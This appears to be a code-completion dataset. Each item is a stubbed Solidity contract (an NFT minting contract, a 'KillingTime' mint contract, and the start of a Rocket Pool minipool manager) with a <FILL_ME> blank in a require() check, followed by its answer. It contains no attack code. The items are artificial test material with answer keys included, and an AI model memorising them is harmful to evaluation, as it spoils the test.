function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance; uint128 numberMinted;
}
uint256 private currentIndex = 1;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) private _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_) {
}
function totalSupply() public view override returns (uint256) {
}
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _getUriExtension() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool){
}
function transferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint( address to, uint256 quantity, bytes memory _data) internal {
}
function _transfer(address from, address to, uint256 tokenId) private {
}
function _approve(address to, uint256 tokenId, address owner) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
function _setOwnersExplicit(uint256 quantity) internal {
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
}
function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
}
contract MyLandContract is Ownable, ERC721A, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
bytes32 public merkleRoot = 0x0c3a9607f55354837e7e90f3bfed916c9b5095cb58ed4770dab1bf98a8aead15;
uint16 public maxPerTransaction = 50;
uint16 public maxPerWallet = 70;
uint256 public price = 0.000000000000000001 ether;
uint16 private constant totalCollectionSize = 9920;
bool public isPaused = false;
bool public isRevealed = false;
bool public isOnlyWhitelisted = true;
string private baseTokenURI;
string public hiddenMetadataUri;
mapping(address=>bool) public whitelistClaimed;
constructor() ERC721A("MyLand Metaverse Genesis", "MLMG", 50, totalCollectionSize) {
}
modifier mintCompliance(uint16 quantity) {
require(<FILL_ME>)
require(quantity <= maxPerTransaction, "can not mint this many");
require((numberMinted(msg.sender) + quantity <= maxPerWallet),"Quantity exceeds allowed Mints");
if (totalSupply() == 3654 || totalSupply() == 6111) {
isPaused = true;
}
_;
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
function mint(uint16 quantity) public mintCompliance(quantity) payable {
}
function mintForAddress(uint16 quantity, address receiver) public mintCompliance(quantity) onlyOwner {
}
function whitelistMint(uint16 quantity, bytes32[] calldata _merkleProof) mintCompliance(quantity) public payable{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setMaxPerTransaction(uint16 q) public onlyOwner {
}
function setMaxPerWallet(uint16 q) public onlyOwner {
}
function isPause(bool _state) public onlyOwner {
}
function giveaway(address a, uint256 q) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setIsRevealed(bool _state) public onlyOwner {
}
function setIsOnlyWhitelisted(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
}
| totalSupply()+quantity<=totalCollectionSize,"reached max supply" | 239,594 | totalSupply()+quantity<=totalCollectionSize |
"Quantity exceeds allowed Mints" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256){
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred( address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance; uint128 numberMinted;
}
uint256 private currentIndex = 1;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) private _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_) {
}
function totalSupply() public view override returns (uint256) {
}
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _getUriExtension() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool){
}
function transferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint( address to, uint256 quantity, bytes memory _data) internal {
}
function _transfer(address from, address to, uint256 tokenId) private {
}
function _approve(address to, uint256 tokenId, address owner) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
function _setOwnersExplicit(uint256 quantity) internal {
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
}
function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
}
contract MyLandContract is Ownable, ERC721A, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
bytes32 public merkleRoot = 0x0c3a9607f55354837e7e90f3bfed916c9b5095cb58ed4770dab1bf98a8aead15;
uint16 public maxPerTransaction = 50;
uint16 public maxPerWallet = 70;
uint256 public price = 0.000000000000000001 ether;
uint16 private constant totalCollectionSize = 9920;
bool public isPaused = false;
bool public isRevealed = false;
bool public isOnlyWhitelisted = true;
string private baseTokenURI;
string public hiddenMetadataUri;
mapping(address=>bool) public whitelistClaimed;
constructor() ERC721A("MyLand Metaverse Genesis", "MLMG", 50, totalCollectionSize) {
}
modifier mintCompliance(uint16 quantity) {
require(totalSupply() + quantity <= totalCollectionSize, "reached max supply");
require(quantity <= maxPerTransaction, "can not mint this many");
require(<FILL_ME>)
if (totalSupply() == 3654 || totalSupply() == 6111) {
isPaused = true;
}
_;
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
function mint(uint16 quantity) public mintCompliance(quantity) payable {
}
function mintForAddress(uint16 quantity, address receiver) public mintCompliance(quantity) onlyOwner {
}
function whitelistMint(uint16 quantity, bytes32[] calldata _merkleProof) mintCompliance(quantity) public payable{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setMaxPerTransaction(uint16 q) public onlyOwner {
}
function setMaxPerWallet(uint16 q) public onlyOwner {
}
function isPause(bool _state) public onlyOwner {
}
function giveaway(address a, uint256 q) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setIsRevealed(bool _state) public onlyOwner {
}
function setIsOnlyWhitelisted(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
}
| (numberMinted(msg.sender)+quantity<=maxPerWallet),"Quantity exceeds allowed Mints" | 239,594 | (numberMinted(msg.sender)+quantity<=maxPerWallet) |
"mint only for whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256){
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred( address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance; uint128 numberMinted;
}
uint256 private currentIndex = 1;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) private _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_) {
}
function totalSupply() public view override returns (uint256) {
}
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _getUriExtension() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool){
}
function transferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint( address to, uint256 quantity, bytes memory _data) internal {
}
function _transfer(address from, address to, uint256 tokenId) private {
}
function _approve(address to, uint256 tokenId, address owner) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
function _setOwnersExplicit(uint256 quantity) internal {
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
}
function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}
}
contract MyLandContract is Ownable, ERC721A, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
bytes32 public merkleRoot = 0x0c3a9607f55354837e7e90f3bfed916c9b5095cb58ed4770dab1bf98a8aead15;
uint16 public maxPerTransaction = 50;
uint16 public maxPerWallet = 70;
uint256 public price = 0.000000000000000001 ether;
uint16 private constant totalCollectionSize = 9920;
bool public isPaused = false;
bool public isRevealed = false;
bool public isOnlyWhitelisted = true;
string private baseTokenURI;
string public hiddenMetadataUri;
mapping(address=>bool) public whitelistClaimed;
constructor() ERC721A("MyLand Metaverse Genesis", "MLMG", 50, totalCollectionSize) {
}
modifier mintCompliance(uint16 quantity) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
function mint(uint16 quantity) public mintCompliance(quantity) payable {
require(!isPaused, "mint is paused");
require(<FILL_ME>)
require(msg.value >= price * quantity, "insufficient funds");
_safeMint(msg.sender, quantity);
}
function mintForAddress(uint16 quantity, address receiver) public mintCompliance(quantity) onlyOwner {
}
function whitelistMint(uint16 quantity, bytes32[] calldata _merkleProof) mintCompliance(quantity) public payable{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setMaxPerTransaction(uint16 q) public onlyOwner {
}
function setMaxPerWallet(uint16 q) public onlyOwner {
}
function isPause(bool _state) public onlyOwner {
}
function giveaway(address a, uint256 q) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setIsRevealed(bool _state) public onlyOwner {
}
function setIsOnlyWhitelisted(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
}
| !isOnlyWhitelisted,"mint only for whitelisted" | 239,594 | !isOnlyWhitelisted |
null | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;
import "./KillingTime.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract KillingTimeMint {
uint256 public _price = 0.034 ether;
uint256 public _insurancePrice = 0.035 ether;
uint256 public _maxInsurance = 20;
uint256 public _insuranceCounter;
address public _killingTimeAddress;
address private _recipient;
bool public _mintOpened;
mapping(address => bool) public _isAdmin;
constructor(address killingTimeAddress) {
}
function toggleAdmin(address newAdmin) external {
require(<FILL_ME>)
_isAdmin[newAdmin] = !_isAdmin[newAdmin];
}
function setRecipient(address recipient) external {
}
function setKillingTimeAddress(address killingTimeAddress) external {
}
function toggleMintOpened() external {
}
function mint(bool isInsured) external payable {
}
}
| _isAdmin[msg.sender] | 239,711 | _isAdmin[msg.sender] |
"Distributor not initialised" | /**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM 2.0 |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind ETH2 Proof of Stake protocol, designed to be community owned,
* decentralised, trustless and compatible with staking in Ethereum 2.0.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
pragma abicoder v2;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RocketMinipool.sol";
import "../RocketBase.sol";
import "../../types/MinipoolStatus.sol";
import "../../types/MinipoolDeposit.sol";
import "../../types/MinipoolDetails.sol";
import "../../interface/dao/node/RocketDAONodeTrustedInterface.sol";
import "../../interface/minipool/RocketMinipoolInterface.sol";
import "../../interface/minipool/RocketMinipoolManagerInterface.sol";
import "../../interface/minipool/RocketMinipoolQueueInterface.sol";
import "../../interface/node/RocketNodeStakingInterface.sol";
import "../../interface/util/AddressSetStorageInterface.sol";
import "../../interface/node/RocketNodeManagerInterface.sol";
import "../../interface/network/RocketNetworkPricesInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsMinipoolInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/minipool/RocketMinipoolFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorInterface.sol";
import "../../interface/network/RocketNetworkPenaltiesInterface.sol";
import "../../interface/minipool/RocketMinipoolPenaltyInterface.sol";
// Minipool creation, removal and management
contract RocketMinipoolManager is RocketBase, RocketMinipoolManagerInterface {
// Libs
using SafeMath for uint;
// Events
event MinipoolCreated(address indexed minipool, address indexed node, uint256 time);
event MinipoolDestroyed(address indexed minipool, address indexed node, uint256 time);
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
}
// Get the number of minipools in the network
function getMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in the network in the Staking state
function getStakingMinipoolCount() override external view returns (uint256) {
}
// Get the number of finalised minipools in the network
function getFinalisedMinipoolCount() override external view returns (uint256) {
}
// Get the number of active minipools in the network
function getActiveMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in each status.
// Returns the counts for Initialised, Prelaunch, Staking, Withdrawable, and Dissolved in that order.
function getMinipoolCountPerStatus(uint256 _offset, uint256 _limit) override external view
returns (uint256 initialisedCount, uint256 prelaunchCount, uint256 stakingCount, uint256 withdrawableCount, uint256 dissolvedCount) {
}
// Returns an array of all minipools in the prelaunch state
function getPrelaunchMinipools(uint256 offset, uint256 limit) override external view
returns (address[] memory) {
}
// Get a network minipool address by index
function getMinipoolAt(uint256 _index) override external view returns (address) {
}
// Get the number of minipools owned by a node
function getNodeMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are not finalised
function getNodeActiveMinipoolCount(address _nodeAddress) override public view returns (uint256) {
}
// Get the number of minipools owned by a node that are finalised
function getNodeFinalisedMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are in staking status
function getNodeStakingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a node minipool address by index
function getNodeMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get the number of validating minipools owned by a node
function getNodeValidatingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a validating node minipool address by index
function getNodeValidatingMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get a minipool address by validator pubkey
function getMinipoolByPubkey(bytes memory _pubkey) override public view returns (address) {
}
// Check whether a minipool exists
